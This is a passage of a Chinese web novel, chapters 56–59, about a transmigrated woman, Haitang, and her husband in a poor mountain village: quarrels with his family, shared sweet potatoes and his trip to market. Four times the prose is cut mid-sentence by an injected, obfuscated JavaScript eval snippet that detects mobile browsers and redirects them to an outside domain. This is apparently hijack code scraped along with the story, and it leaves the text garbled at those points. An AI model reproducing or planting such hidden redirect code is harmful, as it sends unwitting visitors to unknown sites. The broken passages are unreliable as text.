模糊的视线里,看见堂屋门口,婆婆和大姑子面色紧张又复杂地看着他们二人。 刀莲生一直等到她不挣扎不哭闹了,才将她抱进了灶屋,慢慢放她下地来。 “我去给你拿洗脸帕来,你洗个脸。……你,你就待在这,别走开。”他轻轻地说。 刀莲生等了一阵,没等到海棠回应,犹豫着迈出步子。 海棠这才喊住他:“把你的烟筒给我拿来,我想抽烟。” 男人回身,张了张嘴。 海棠泪眼一瞪:“我心情不好,你最好别忤逆我!” 刀莲生:“……” 刀莲生不放心地看她一眼,转身出去了。 56. 第 56 章 刀莲生很快就回来了。 他回来的时候,一手拿着水烟筒,一手拿着那块海棠自己绣了花的帕子。 他把烟筒递给她。 海棠看那个烟嘴上已经插好了卷起的叶子烟,很满意。 刀莲生往铁锅里掺了几瓢水,然后走到灶膛那边,把火生起来。 完事后,他用火钳夹着一块燃着的木柴走过来,支棱在烟嘴儿上。 海棠抱着水烟筒,看那截卷烟有火星子亮了,很快冒出白烟,她把嘴巴凑在筒口狠吸了两口,咕噜噜,烟,点着了。 刀莲生就撤走了木柴,坐回到灶膛处,一边往灶膛里添柴烧水,一边,不时往她这边瞟一眼。 早说了在现代海棠绝对不是乖乖女,烟酒俱来的。倒不是跟着社会上那些青少年混成那模样,而是她妈妈就是个烟酒都来的彪悍女人,她这是继承了家风。 但海棠她不沉迷,她不嗜好这些,只是觉得漂亮女人抽烟的样子真是帅呆了。而谁叫她长得好看呢?她还刻意模仿过电影里漂亮的女主角们手指如何夹烟的姿势。 前几天硬从刀莲生手上抢过烟筒来抽了几口这里的水烟,已经有点经验了,但几天未沾烟,起初那几口还是感觉又呛又涩的,辣意像一团棉花堵在喉咙口,海棠压着胸口咳了几下。 顺了口气后再抽,觉得通体舒畅。 抽烟不仅能解乏,还让平复激荡的情绪。 现在,她慢慢平静下来了,学刀莲生那样双手抱着竹筒,唇抵在洞口深吸一口,再抬起来,缓缓吐出一口浓郁的烟雾。 她笼罩在烟雾弥漫中,享受地吞云吐雾着,灶屋里一团沉默。 刀莲生看她很快就学会了抽他的水烟,姿势娴熟,还一脸享受的模样,眉峰高耸。但始终没出声劝诫妻子。 过了会儿,刀莲生听到海棠又压着嗓子咳了两声,他起身出去了一趟。 再回来时手里提着那把堂屋里烧开水的铜壶,另只手里握着一个白瓷罐子。铜壶和瓷罐子都放在灶台上,他打开碗柜取了两个土碗和一把木勺出来。提起铜壶先往土碗里倒了一碗滚烫的开水,然后就两只碗把那碗开水倒过去倒过来的散热,再用勺子搅了几下吹凉了,他解开那个白瓷罐子的牛皮封口,用木勺舀了一勺晶莹透亮的液体出来,搅合在水碗里,递给她。 空气中有隐约的甜香味儿弥漫。 海棠也没问是什么,接过来就喝了一口。土碗还有些烫手,但是里面的水温刚刚好。那吃进嘴里的甜味儿不浓不淡,古朴纯粹,恰到好处。 是槐花蜜,几日前她喝过的。 她喝水时夹在两个膝盖之间的水烟筒被刀莲生抽走了。 “哪有女人抽烟的?”那男人终于表达了他的不满,边说边把烟嘴里还剩下的半截烟头挑出来,捏着手指里在灶台上摁灭了火星子。 海棠的眼睛从水碗里抬起来,扫了他一眼,又低头继续喝。 她双手捧着土碗小口小口的抿。 不饿不渴的时候,她吃喝东西还是很秀气的,像个小家碧玉的样子。 洗脸水都烧开了,而且水滚了好一阵了,锅盖上面腾起阵阵白雾。 刀莲生的视线从海棠左脚踩右脚的赤裸的天足上收回来,起身,走到水缸那里,拿起水瓢,问:“你洗澡吗?” “不想洗。” “嗯。”他就往锅里只掺了半桶水,“那泡个脚。” 喝了半碗蜂蜜水后,海棠感觉身子暖和些了。捧着碗,她看刀莲生忙进忙出,不知从哪里找来一只旧木桶,“你用这个洗脚。” 那只脚盆被刀莲荷砸烂了。 那姑娘真是会糟践东西,刀家就那么一只脚盆。 这下又得要刀莲生抽空新做了。 弄烂一样东西几秒钟,他新做出来得花好几天功夫。 刀莲生舀了一盆水,蹲在门口刷洗莲叶给她捡回来的她扔了的那双木屐。 海棠靠在碗柜面板上,慢悠悠地开口:“那会儿你为什么不帮我说话?” 他抬起头疑惑的:“什么?” 海棠不满地横他一眼,要笑不笑的骂:“少给我装傻充愣!娘发火的时候,你为什么装哑巴?还有,娘又为什么发火?” 男人把洗好的木屐甩甩水,重新放在她脚边。顺便,把她手里喝光了地土碗拿走。 锅里的水已经烧热了,他揭开锅盖,把热水舀进木桶里,提到她跟前,言简意赅:“洗。” 哼,他这是在刻意回避她的问题呢。 海棠既然要问,就要问出个答案。 她一副气恨不已的模样,“你不回答是吧?好。就像你妹说的,这日子没法过了,我就这走!我记着的呢,一年之期未到,骡子我回娘家后就还你,你别再拦着我!” 她站起身,刀莲生捉住她的手腕,浓眉蹙着,“我又没说不回答,你着急什么?你快洗。” 海棠就坐下来,把双脚泡进热水桶里。 水很烫,但是她正需要烫烫脚。 天晚了,她打湿的衣服贴在身上,冰冰凉凉的。她多半会感冒的,最好是洗个热水澡。但是下雨天,如果洗澡,那洗澡的地方条件不好,四处透风,更容易感冒。泡个热水脚,回屋去换身衣服就上床睡觉,或许能赶走病毒。 这山里,早晚温差大,外面已经天黑了。 刀莲生另外舀了一盆洗脸水,把帕子搓洗两下,拧干水分递给她。 海棠接过帕子把脸胡乱擦了几把,帕子扔还给他,催促道:“你快回答呀。” 刀莲生慌慌的垂下眼睫,走到灶膛那边坐下,手里拿着火钳把灶膛里未燃尽的木柴都取出来,插进灰堆里灭了明火。 他轻声道:“娘可能是觉得前几日堂伯娘才明着嘲讽过咱们家穷得揭不开锅,要吃,吃……吃猪才吃的东西,小妹还为了她家的笋子糊弄她,娘觉得已经很丢人了。这没两日你就又拿衣服去换她家的吃的,娘觉得更丢人了,才会生气发火。” 听罢,海棠默了默。 她当时没想那么多,只想着最大限度换取利益而已。 站在婆婆的角度,是可能会觉得很丢人现眼。 海棠看向男人,“那你是怎么觉得的呢?” 刀莲生沉默了好一阵,方才轻声言道:“我是觉得,除非家里男人死光了,不然,就不该让女人用身上穿的去换吃的。奉养妻儿老小,是男人的责任。” 海棠:“……” 海棠轻嗤出声,“大男子主义!你和你娘这叫死要面子活受罪!讨口都讨得,我用东西交换东西又怎么了?我一没偷,二没抢,我和堂嫂是互相换取自己想要的东西,是公平交易,不存在丢人不丢人的。要说丢人,那她穿着我穿过的衣裙招摇过市,她就不嫌丢人了吗?” “……我是说吃的。” “吃的?”海棠气噎,“那一背篼红苕,是我用聪明才智赚来的。我本来只想换两身衣裳的,我看堂嫂好像特别喜欢我那身衣裙,那我肯定要用抓住她这个心理敲她竹杠啊!” 刀莲生:“……” 刀莲生古怪的睇她一眼。 期间,刀莲荷摸到灶屋来喊两人去吃饭。 可能她被白氏训斥过了,不然来喊她吃饭的只可能是莲叶。 但是海棠已经很不喜欢刀莲荷,何况她都不是来道歉的。 刀莲荷喊了她声嫂子,海棠看也不看她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488513|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 海棠也是佩服那刀莲荷很有骨气呢,海棠对她视而不见,喊她嫂子的话也充耳不闻,她讨了个没趣也不觉尴尬,反而傲气地一撇嘴,来一句:“爱吃不吃!”人走了。 刀莲生反而很尴尬,神色不自在地想替妹妹开脱,“她就那脾气,我早说过你不用理会她……” “谁也没想理她!”海棠火大道,“可是她却偏要来我跟前找存在感,还故意膈应人!” 刀莲生:“……” 之后很长一段时间,两人都沉默着。 下过雨的夜里,外面天黑得不见五指。雨早就停了,四周虫鸣啾啾。院子外面的山腰处,隐约传来了青蛙的呱呱叫声。 竟然不知不觉已是晚上了。 不过,本来这里人第二顿饭都吃得很晚,不下地干活儿的话,因为早饭吃得晚了,晌午饭就会吃得更晚。估算下,下午大概三点多接近四点钟的样子是要吃晌午饭的,经过那么一闹腾,晌午饭都忘了吃了。 但早就饿过了,也没胃口。天黑了,莫不如睡觉去。 睡上一觉,什么烦恼都没有了。 海棠心满意足的起身。 凳子太矮,她坐得又太久,腿麻了。她将手递给刀莲生,“搭把手。” 他稍作犹豫,拉住她的小手。 男人的手很大,很糙。 尽管他没怎么用力,她还是从地上弹跳而起,还惯性地往前扑了一步。双手在他胸膛上抵挡了下才止住缓冲,没把脸埋进他怀里。 掌心下的触感硬得像石头。 两人隔得很近,他身上男人的味道浓烈,熏得她脸颊发烫。 海棠抬眼,正好看到他那双深邃的眼睛也迅速转向别处。 刀莲生也有些不好受,他退后一步,低着头,声音闷声闷气:“你跟媒婆介绍的真的天差地差……我也知道那些媒人为了促成一段姻缘,会专拣好听的说,但是,不会差得太多的,可你……” “哪方面天差地差了?”海棠抬手将颊边的头发撩在耳后,“你是觉得我没媒人口中说得那么美丽贤惠吗?还是没那么美丽?或者没那么贤惠?” 刀莲生:“……” 这让他怎么选? 选哪样都是在赞美她。 她倒是自恋得很。 外面果然已经夜色深浓。 风冰冷的扑面而来,她脸上的燥热被驱散了很多。 海棠没管刀莲生,趿拉上他捡回来洗干净了的木屐,便回了堂屋。 刀莲生在灶屋忙着收拾一切,洗碗,洗盆,吹灯熄火,抓着铜壶和白瓷罐子大步就追了出来。 “哎!” 海棠撩开布帘子要钻进卧室的时候,刀莲生追了进来,喊住她。 海棠放下布帘子,等着他走近。 他抿了抿唇,眼睛似想看她又不敢看的样子,“那个,我明天要去赶集。如果你想去的话,我就早点来喊你。……嗯,那,那你就早点睡吧,不然明早起不来。” 海棠摆手,“不去了。” 他抬起眼正视她:“没事的,我们慢慢走。舅舅在那个镇上有个茶叶铺子,如果当天回来不了,我们可以在舅舅的铺子里歇一宿,转天再回。” “我说我不去了。” 刀莲生:“……” 刀莲生仍踯躅不走,盯着海棠的脸色,小心翼翼地:“那你,你有什么想买的?我给你买回来。” 海棠笑了,歪头看着男人,张口就来,“随便吧,胭脂水粉,钗环手镯。你要舍得给我花钱,你都给我买回来吧。” 刀莲生:“……” 刀莲生默默心塞了下。 一夜无眠。 57. 第 57 章 转天海棠起得晚。 反正是农闲,反正昨天跟刀家人也算是撕破脸了。她本来是要走的,这回可是没死皮赖脸留在刀家的,全都是刀莲生挽留她才勉强留下来的。 海棠有点破罐子破摔的意思。 没有镜子,她摸索着把长发编成一股大麻花辫甩在脑后,掀开布帘子走出去。 白氏从二楼下来,手里抱着一抱床单被单之类的衣物,可能是才换下来的。 天气一日比一日热,进入六月了,老太太现在才换竹席睡觉。 海棠没跟婆婆打招呼。 昨天这老太太扇她两个耳光,她记着仇。 她亲妈都没怎么打过她,何况还是往脸上打。 所谓打人莫打脸,这老太婆回回往她脸上招呼,她怒极恨极。 白氏下了楼梯后就立在那里没动,挤着满脸褶子盯着海棠的一举一动。见海棠对她视而不见,脸色有点不好看。但是,可能昨天海棠那阵仗把她还是惊了一下的,她也有意识到自己对儿媳妇太严苛了些,主动开口,“莲生媳妇儿,这个……”她抱着怀里的东西冲她扬了扬,讪讪道:“莲荷和莲叶去堂伯娘家织布了,待会儿我也要去。家务活儿就要全靠你了。” 海棠对白氏视而不见,径直去扯了堂屋西墙上那根绳子上挂着的洗脸帕往灶屋去了。 刀莲生竟然还在家。 似乎是刚挑了一担水回来,海棠看水缸边两个水桶里的水还没倒到缸子里。 见她到灶屋来,他抬起手背擦了把额角汗水,揭开鼎锅锅盖,拿葫芦水瓢往洗脸盆里舀了两瓢热水。撂了瓢,这才去把水桶里的水倾倒进水缸里。 海棠脸洗碗,他又把铁锅锅盖揭开,把早饭弄出来,拣到一个大盆子里。 一大盆清蒸红苕。 海棠有些吃惊,“蒸这么多红苕,怎么突然这么舍得了?” 刀莲生道:“我也还没吃早饭。” “哦。” 还以为婆婆为了表示歉意,特意让莲叶做早饭的时候给自己多留点吃的呢。 但是两个人吃也还是很多啊,这不符合刀家人的风格。 海棠想了下,问道:“娘和莲叶没给你留早饭吗?” “我让他们不管我们。” “我们?” 海棠看看那盆红苕,两个人吃的要用盆装……她大约猜到了。 果然只听刀莲生道:“娘不吃你那背篼红苕,也不准莲叶和莲荷弄来吃。我想着早点吃完了,免得她看着难受。你晚上不是饿吗?你尽快做来吃了,烤或者蒸煮。哦,对了,我怕老鼠啃了,就把剩下的窖藏到后坡竹林里的地窖里,你要吃的时候就去地窖里取。” 好好好,婆婆,你有骨气,你要脸,那你就饿肚子去吧! 海棠看锅里水汽蒸腾,灶膛那边还有红光,可见这些红苕是刀莲生才蒸熟了没多久。 刀莲生立在她对面,四大个手掌那么大的蒸红苕被他风卷残云。 海棠怀疑男人从来没有吃过一顿饱饭。 但是他五大三粗的体格摆在这儿,四个红苕于他而言,可能也远远不够呢。 刀莲生给她也留了四个,海棠拨了两个给他。 刀莲生抬眼。 海棠道:“我吃不完这么多。两个我觉得都很够了。” 他没客气,拿起一个,很快剥了皮,塞进嘴里。 太阳从云层里射出金光来时,白氏要出门,走到灶屋门口撩开嗓门儿喊了声:“莲生媳妇儿,你把背篓里的被套床单洗了啊。” 海棠不做声。 刀莲生看看她,朝屋外答应了声,“知道了,娘。” 海棠瞪他。 他冲她嘿嘿地笑了下。 海棠不满地抬脚轻踹了下他的小腿。 男人又无声笑了下,不避不让,埋头灶台。 屋里屋外就他们二人了。 海棠看刀莲生也开始跟她一样斯文地吃东西,说:“你不是今天要去镇上赶集卖东西吗?” 他的脸被屋外打进来的晨辉照得黑中有红,熠熠发光,“嗯。” “怎么没一早就出发?不是说走晚了,当天就可能赶不回家了吗?” “啊,是可能回来不到。” “那你还不赶紧出发?” 刀莲生抬头飞速地瞟了她一眼,拍拍手上的红苕皮,转身走到灶膛那边坐了下来。他把灶膛里还燃着的木柴扯出来,戳在地上的灰堆里灭掉明火,说:“等会儿就出发了。” “哦。” 海棠看他又拿把火钳在灶膛里捅来掏去。 他没看她,口中说:“我是说真的,你想要什么?我给你买回来。”他旧话重提。 海棠专心捧着个红苕小口小口的吃,闻言抬头,意味不明的笑一下,“你真是贴心。你这样的男人娶媳妇不应该很难啊。” 她那世界,多少女孩子恋爱脑,愿意倒贴男人。何况古代的世界,男人是女人的天啊。就刀莲生这种的,尊重女人,没强迫她圆房,还那么照顾她,吃的好的都紧着她,多难得。所以,即使刀家穷,他也不该会走到只能娶个二婚女人的地步。何况她看这碧约寨里的人家,比刀家富裕的也没多少。大都是很穷的,住破烂的土楼或者茅草顶的蘑菇屋,面黄肌瘦的大有人在。 刀莲生抬眼,恰好看到海棠望着自己笑,他又慌慌地别开脸。 他不知海棠那话是褒是贬,他没接话。 海棠沉默了一下,说:“随便,你想给我买什么就买。只要是你买的,我都喜欢。” 刀莲生得到了回答,没再说话了。 又过了会儿,他从灶膛里掏出来两坨拳头大小的乌漆麻黑的玩意儿,用粗粝的手掌快速拍掉上面的热灰,然后丢在灶台上,“给你吃。” 火星扑簌,泛着淡淡的甜香气。 海棠盯着那两坨“黑炭”,嘴角抽几下:“这是啥?” “烤红苕。” “红苕烤的比蒸的煮的都香很多。” “嗯。火膛里炕了一早上了。芯子都烤得滚烫,你吃的时候小心点。” 海棠很高兴,立刻丢了手里吃了一半的蒸红苕,伸手就去拿。 复又甩着手叫:“好烫好烫!” 刀莲生把她不小心甩到地上的烤红苕若无其事地捡起来,再帮忙剥掉一半烤焦脆的皮,这才递给她。 海棠没接,凑过去看。 刀莲生那双大手,铁钳一般,掌心裹着厚茧。 她不禁伸出食指在他手掌里的老茧上摩挲,“真是皮糙肉厚,难怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494632|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怕烫。” 刀莲生不动声色的抽出手,回身又去剥另一个烤红苕。 海棠捏着没剥掉皮的那一半,说:“谢谢。” 刀莲生一边剥烤红薯,一边不动声色吓唬她,像吓唬个小孩子,“我不在家的时候,你不要乱跑。山里有毒蛇有野猪,还有黑熊。” 呵,他是担心他去赶集了,她就跑回娘家吧?难怪迟迟没走呢,就是想等她起床了后对她警告一番。 “我俩签了契书的,我跑得了和尚跑得庙?何况你对我这么好,我敢对不住你?”她眼睛笑得弯弯的,人俏俏的,像娇妻对要出远门的丈夫那样深情地看着他,“放心,我哪儿也不去,一心等你回来。” 刀莲生:“……” 他低头剥红苕烤糊了地硬壳皮,良久,含含糊糊地“嗯”了一声。 海棠找话:“你们这儿,种什么吃什么,不种就没得吃吗?” “嗯。”他抬头看她,“你想吃什么?” “有没有水果?” 刀莲生想了想,“野柿子,毛桃,还有野生板栗,但是现在还没成熟,都要秋天才吃得到。” 海棠失望的:“哦。” 他还是那句:“你想吃什么?” 海棠兴趣寥寥,“算了,反正我想吃的,你也给我弄不来。连下饭菜都没得吃,我还敢想吃到其他的吗?” 刀莲生:“……” 两人有段时间没说话。 她不挑食,何况在这种穷山僻壤,有得吃就不错了。就刀家这条件,一日两顿都还不管饱,哪里敢想别的? 两人心里都在想这话。 刀莲生闷声不响,只是专心地剥着红苕皮。 外皮烤得焦脆的红苕在灶台上轻轻一磕,灰烬掉下,里面是黑褐色的硬壳皮,剥掉,再里面便是火红色的瓤,香气扑鼻。 饶是他皮糙肉厚,也烫得双手交替,手指不住的搓。 他将最细腻的部分给她,然后问:“甜不甜?” 海棠咬了一半,剩下那一半,她塞进他嘴里,“你自己尝尝不就知道了。” 刀莲生:“……” 红苕芯子果然烤得滚烫,他没嚼两口就吞入腹中,直烫入心。 甜,好甜。 门前金光弥漫,日出了。 他们偎在灶台前,一起吃烤红苕,蒸红苕。 刀莲生原计划不是今天去镇上赶集的,但是经过昨天的事,他把计划提前了。 他想带海棠出去走走,散散心。 可惜海棠并没接收到他的心意,她早就被遥远的路途吓得打了退堂鼓。 箭在弦上,不得不发。 他都把要带去集市上卖的菜籽饼和他做的那些竹编工艺品都打包好了,也给他母亲报备过了,临时又不去,意图就很明显了。 刀莲生只好同海棠告别。 “那,我走了。” “嗯。” “你……”他张了张口,“你好好待在家里,哪里也不要去。” 他还是不放心她,怕她跑了。 海棠听明白了他的意思,淡淡笑了笑,“好。” 他还想说,海棠烦了,“你快走吧,这天色都大亮了。啊,你早点回来。” “……哦。” 58. 第 58 章 要洗的东西太大,脚盆又被刀莲荷摔烂了,海棠原想用挑水桶,可只塞了一床被套进去,看看那体积,已经没空间再塞床单和衣服了。海棠就去牲畜圈里,把那个拌桶扛了出来。 那拌桶有两个浴缸那么大。海棠也是佩服自己,嫁进山里一个月,洗衣做饭就不说了,割麻栽秧,到如今轻轻巧巧地扛起一个能把自己盖住的拌桶,可见人的潜力真是无限。 海棠烧了一锅热水,把婆婆换下来的床单被套扔进拌桶里,再铲了几锅铲草木灰搅合在水里,先泡上个把时辰再洗。 老太太用了一整个秋冬春三季的床上用品,虽然床单被套颜色深,藏蓝色的,看不出脏污,可只闻着那冲脑子的味儿,想也能想象那得有多脏。 翘着脚等到要到晌午了,海棠才端了个板凳坐在拌桶边,把那个烂脚盆的木板拖了一块来斜搭在拌桶里当搓衣板,然后抓起床单铺在木板上一下下地搓洗。 莲叶回来做午饭,海棠让她给自己烤两个红苕当午饭。莲叶又尴尬又艳羡。海棠看出小姑娘的心思,就让她多烤几根红苕,说留她吃,只要她别让娘和姐姐发现了就行,不然被骂了,她可不管。 莲叶这才偷偷乐起来,开开心心照做。 中午吃饭,一家子女人谁也不说话,各吃各的。 吃完饭,白氏带着两个女儿又去隔壁给曹秀珍织布。 曹氏的麻早点织成布,织布机空下来,刀家才好织自己的。 寨子里的马帮半个月后就要回来了,如果这次不卖布的话,等到下次马帮再回寨子来收货物就是两个月后的事情了。而且卖布的最好的时机过了,很可能很久都脱不了手了。手里没钱,会直接影响家里的生计。 地里的事情忙完,农闲的时候,才正是寨里的女人一年中最忙的时候。 海棠把被单床单在家搓洗了个头道,就用背篓背到寨神林的水潭里去清洗。完了后,晾晒在悬在房檐下的两根竹竿上。 又累又热,打了盆冷水,洗了个脸,擦擦背上的汗水,便回卧室去困觉。 进入六月了,土里的知了跑出来了。 阳光洁净的午后,已经有知了开始在寨子后面的山林里声声叫唤,聒噪、悠长,时间慢下来。 外头来了个后生找刀莲生,他在院坝里望堂屋喊,“莲生哥?莲生哥在家吗?” 海棠才睡了一会儿,浅眠中,听到男人的声音,爬起来,打开堂屋门走出去。 见来者是个比刀莲生看起来小几岁的面生的青年。 那青年的脸膛黑黝黝的,跟刀莲生一样。身子骨也跟莲生一样,壮实,长手长脚。 “哎,莲生嫂子您好。”来人见开门的是她,愣了下,有些害羞的主动先打招呼道,然后问:“您家阿哥在吗?” 海棠道:“我没哥哥。” 青年抿嘴笑了下,“我是说莲生哥。” 海棠愣了愣。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502315|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝尼家女人唤自己丈夫唤“阿哥”吗?还怪好听的。 人家既喊她嫂子,海棠便做出做长辈的稳重来,微微笑道:“我夫君他去镇上赶集还没回来。你找他有事?” 青年道:“嗯。我爷让莲生哥得空去家一趟,商量修祠堂的事情。” 说罢跟海棠辞别,“那嫂子我就先走了,麻烦您给莲生哥说一声。”转身就走,有点着急的样子,步子迈得又大又急,逃跑似的。 “喂喂,你等等,别慌着走啊。”海棠喊住他,还追下地坝去。 青年停住脚回过身子来,一脸惊慌,耳朵根儿都红了,磕磕巴巴:“嫂子,我,我没慌着走……” “你没慌,那你跑那么快干嘛?” “我,我……”青年手脚都不知如何安放了,眼睛盯着地面,不敢看她。 海棠瞧了他会儿,琢磨出来,才明白过来这青年是害羞呢,失笑摇头,“我又不认识你,你让我跟我丈夫怎么说?寨子里跟你差不多大的小伙子很多吧?到时候我给莲生说是谁家来喊他去的呢。” 青年愣了下,一下子就不慌乱了。他抬起头来,不好意思地冲她咧嘴傻乐道:“对不起啊嫂子,是我考虑不周。您就跟莲生哥说,说是芦生来喊他的。我就是芦生,我叫刀芦生。” 海棠点点头,温柔道:“好的,我知道了。” 青年才下去的绯红又爬上黑脸膛,也不说辞别的客套话了,红着脸一溜烟儿跑了。 59. 第 59 章 日子一入夏,天气就开始多变。尤其是山里。 中午的时候那太阳花花晃得人眼晕,到傍晚,竟然打起雷来。天边云翳滚滚,转眼天就黑沉沉的了,一场暴雨即将打下来。 刀家生火用的那个火镰,海棠已能用得得心应手。就是那大锅柴灶,她一个人生火炒菜做饭也都从容不迫。 婆婆和两个小姑子这些日子经常要在堂伯娘家做到戌时末才会回来。海棠就大大方方给自己整了这天的第三顿——晚饭吃。 屋外狂风大作,雷电交加,雨点子噼噼啪啪下来了。 海棠把蒸熟的红苕捡到盘子里,烫着手了,她把手指伸进嘴里含一会儿。 天空银龙游弋,紧接着一声霹雳,屋内突然陷入黑暗。 那盏黄豆大小的灯火被屋外的风雨打灭了。 闪电一道接一道,借着闪电光,海棠搁下盘子,转到灶膛那边在灶台上摸索着找火镰。 狗叫由远及近,外头沉重的脚步声顷刻响起。 海棠点燃灯火,一抬眼,就见到一个高壮的男人矗立在门口,浑身湿透,带着清冽的泥土味儿。 他一脸刚毅,唯有眼睛温柔似水。 他把扁担箩兜都扔到外头,人进来。 屋子不大,灯火也小,但是人在眼前总看得清了---他就像只落汤鸡。 他挎在身前的绣花布包却干燥。 海棠惊讶:“我以为你明天才回。你早上那么晚才出发的。” 刀莲生把包取下来挂在搁脸盆的木架上,再脱了上衣拧水,“东西卖得快,路上我又搭了一段马车。” “怎么不等明天再回来?傍晚天就变了。看你淋这一身。又下雨又走夜路的,你也不怕困在山里。” 衣服拧得半干,再拿来胡乱抹脸擦头发,然后扔到木架上的脸盆里。他与她擦身而过,嘴上信口那么一说:“我有分寸,我去舅舅铺子里借了马灯。再说我答应了你今天回。” 海棠怔。 似乎她早上只是随口说了句“你早点回”的话吧。 柴火噼啪作响。 刀莲生坐在灶膛前,指一下那个布包:“里面的东西给你买的。” 海棠走过去把那个布包取下来,里头的东西一样样掏出来。 有一面巴掌大的铜镜,一把梳子,一块不大的棉布,最后还有一件棉质的小衣服。 衣服看起来像是件汗衫,无袖,比较短。 海棠拿在身前比了下,衣服短到只到肚脐眼儿的位置。很像现代女孩子夏天穿的那种高腰衣。 尽管现在是夏天,寨子里的女人很多都穿得少,胳膊大腿都露了出来,但是露肚脐眼儿的倒是一个也没见到。 她隐约明白了,这么柔软,用料又这么少,大概率是山里女人贴身穿的汗褂,就是说,这是山里女人的内衣。 海棠看看灶膛那边闷着头烧火的刀莲生,没说什么,又把那小衣服拿在灯下仔细看。 衣料是棉质的,摸着柔软,恐怕有些费钱。绣花样式很简单,不过是几何图样,都不能称之花样儿,远比不上汉家女子的巧手玲珑心,就跟这寨子里女人们身上穿的纹样一样,但因为彩线用的多,有七八种,所以看着花里胡哨的。 刀莲生余光扫过来,女人正拿着小衣翻来覆去看。 ……他感到头皮发麻。 因急着赶回家,他把十几斤菜籽饼和他编的那些竹制品挑到集市上打包卖给了别的商贩,只得了应卖得的不到七成的钱。 母亲要他买的针头线脑些他都没闲钱买了,反正暂时娘也没有要给海棠做衣裳的意思。用这些钱,他先给海棠扯了一尺棉布——这是早就承诺了要买给她做姨妈巾的。 再给海棠买了女人用的零碎小东西,镜子、梳子。 睡一屋的时候才发现海棠没梳子。她每次都是张开五指,把头发浅浅抓顺了后直接编条长辫子。她头发发质好,又经常洗,以至于都没发现她从未用过梳子。 还剩了一点钱。经过一家成衣铺,见墙上挂着女人的各式衣服。可是钱不够,根本不够给她置办一身新的衣裳。踯躅不走,老板给他推销了价格便宜点的,窝尼家女人贴身穿的那种内衣。用的衣料少,棉麻的料子,虽比不上纯棉面料柔软,但是比粗麻也舒服多了。讨价还价,他给海棠买了件。 海棠若无其事的将东西一一收好,还是放进布包里,只字未提。 雨很大,落在地坝里,缤纷明快,在地面上一砸一个窝。 闪电一道紧接一道,大地时黑时白。 “你在烧洗澡水?”海棠看着水汽氤氲的锅盖问。 “嗯。” 海棠走过去道:“你去拿换洗衣服吧,我来烧。” “差不多已经烧好了。”他说。 然后起身去把水桶提过来,揭开缸盖舀了瓢水把桶涮了涮,放在屋子正中。 先舀锅里的热水,再冲进凉水,伸手试了温度。 起身,甩着手上的水说:“你先洗。” 她昨天就没洗澡。 刀莲生记得她只要天气热,必定天天都要冲个澡的。 海棠看看外面,大雨倾盆,好像天被捅了个漏子。 “怎么洗?”她指指那牲畜棚,“天上下大雨,底下下小雨。” 刀莲生也看看那边,说:“等明天不下雨了,我把棚顶重新铺过。是该换棚顶了。去年我就想把棚顶修葺一新的,但娘说圈里都没养什么牲畜了,白费谷草,这事儿就彻底搁置了。” 他把那大水缸搬开,指着那里,“就这里洗吧。” 水缸下面是一大块石板,站上面洗澡不用担心泥巴地把脚弄脏。而且那地方有些倾斜,洗澡水可以直接流出灶屋。 “我去给你拿换洗衣服来。” 他裸着上身,冒雨出去了。 过了会儿再下来,戴了那顶竹编大斗笠,怀里抱着的她的蓝花布包袱,一点也没打湿。 帕子递给她,衣服给她放在石案上,人就要走出去。 “哎,你吃东西了没?”海棠喊住他。 “我把早上你没吃完的红苕带走了,晌午饭就吃的红苕。” 海棠没作声,走到灶膛那边,拿夹火钳在灶膛里掏了掏,片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505343|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸现惊喜,“莲叶竟还没吃。” 刀莲生见她陆续夹了两坨黑乎乎的东西出来,还腾着白烟。 “什么东西?” “你不觉得眼熟?”海棠扬眉笑着道,“烤红薯啊。不过好像你刚才又烧火,这会儿烤过了,有点糊。你将就吃吧。” 